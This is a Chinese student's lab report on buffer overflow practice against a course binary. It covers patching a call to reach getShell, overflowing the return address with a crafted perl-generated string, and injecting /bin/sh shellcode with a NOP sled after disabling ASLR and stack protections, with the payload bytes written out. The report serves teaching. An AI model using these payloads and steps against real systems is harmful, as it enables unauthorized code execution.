一.逆向及Bof基础实践说明

1本次实践的对象是一个名为pwn1的linux可执行文件。

注:pwn1更名为ljj

1 实践内容

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

(3)注入一个自己制作的shellcode并运行这段shellcode。

2 基础知识以及准备

笔记本一台

虚拟机

相关linux操作指令

二.实验过程

任务1 直接修改程序机器指令,改变程序执行流程

输入 objdump -d ljj | more

找到函数main,关于调用foo机器指令为“e8d7ffff”

我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行,对应补码为c3ffffff

输入 cp ljj ljj1

输入 vi pwn2;进人编辑,修改对应地址后,反汇编,可以看出all指令正确调用getShell

输入 objdump -d ljj1 | more

运行 ./ljj1ls

可见shell提示符

任务2 通过构造输入参数,造成BOF攻击,改变程序执行流

输入 objdump -d pwn1 | more,找到getshell即为本次目标。

输入 gdb ljj(确认输入字符串哪几个字符会覆盖到返回地址)


由上图分析可知:如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给ljj,ljj就会运行getShell。

我们已知getshell内存地址为0804847d,下一步就是确定字节序。即是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

输入 break *0x804849d

输入 info break

输入 r

输入 info r

确定应该输入11111111222222223333333344444444\x7d\x84\x04\x08

编写一个文件,生成上面的字符串。

输入 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

接着,将input的输入,通过管道符“|”,作为ljj的输入。

输入 (cat input; cat) | ./ljjls,可见shell提示符

任务3 注入Shellcode并执行

准备一段Shellcode,本次实验我使用的为“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\”

以下为准备工作,即

(1)关闭堆栈保护(gcc -fno-stack-protector)

(2)关闭堆栈执行保护(execstack -s)

(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

输入 execstack -s ljj

输入 execstack -q ljj

输入 more /proc/sys/kernel/randomize_va_space

输入 echo "0" > /proc/sys/kernel/randomize_va_space

输入 more /proc/sys/kernel/randomize_va_space

紧接着构造要注入的payload,结构为:anything+retaddr+nops+shellcode

输入 perl -e 'print "A" x32;

print"\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\x

ff\x00"' > input_shellcode

接着我们打开另一个终端

输入(cat input_shellcode;cat) | ./ljj

输入ps -ef | grep ljj,找到进程号为“10065”

接着输入gdb,调试该进程

输入disassemble foo//查看注入buf的内存地址,可见断点在“0x080484ae”

输入break *0x080484ae

输入info r esp/找到地址为0xffffd4bc

输入x/16x 0xffffd4bc,找到返回地址

可见返回地址为 0xffffd4c0

将返回地址改为 0xffffd4c0。

输入 perl -e 'print "A" x 32;print

"\xc0\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x0

0"' > input_shellcode

输入 (cat input_shellcode;cat) | ./ljj

可见shell提示符

到此,本次实验基本已经完成

三.实验中遇见的问题

1.本次实验中,关于运行.py权限不够的问题

解决办法:通过查询,知道了需要赋予权限,即chmod +x .py

2.本次实验中,因为找不到execstack,需要安装prelink,输入apt-get install prelink,结果无法定位软件包。

解决办法:直接通过wget+相关链接获取。

3.关于任务3返回地址,一开始我输入的为“0xffffd4bc”,结果实验失败

解决办法:我忘记了需要加上前4个字节,所以正确的地址应该为“0xffffd4c0”

四.实验感想

通过本次实验,我不仅了解到了不少关于linux的相关操作指令,同时对于逆向及Bof有了一些简单的了解。学会了怎样利用foo函数的Bof漏洞,或者是通过直接修改,进而触发shell函数;同时关于自定义shellcode并运行的过程有了印象深刻的了解。

本次实验令我受益匪浅,感谢老师的指导以及同学的帮助,期待下一次实验。

posted on 2022-03-26 20:07  20192422李俊洁  阅读(54)  评论(0编辑  收藏  举报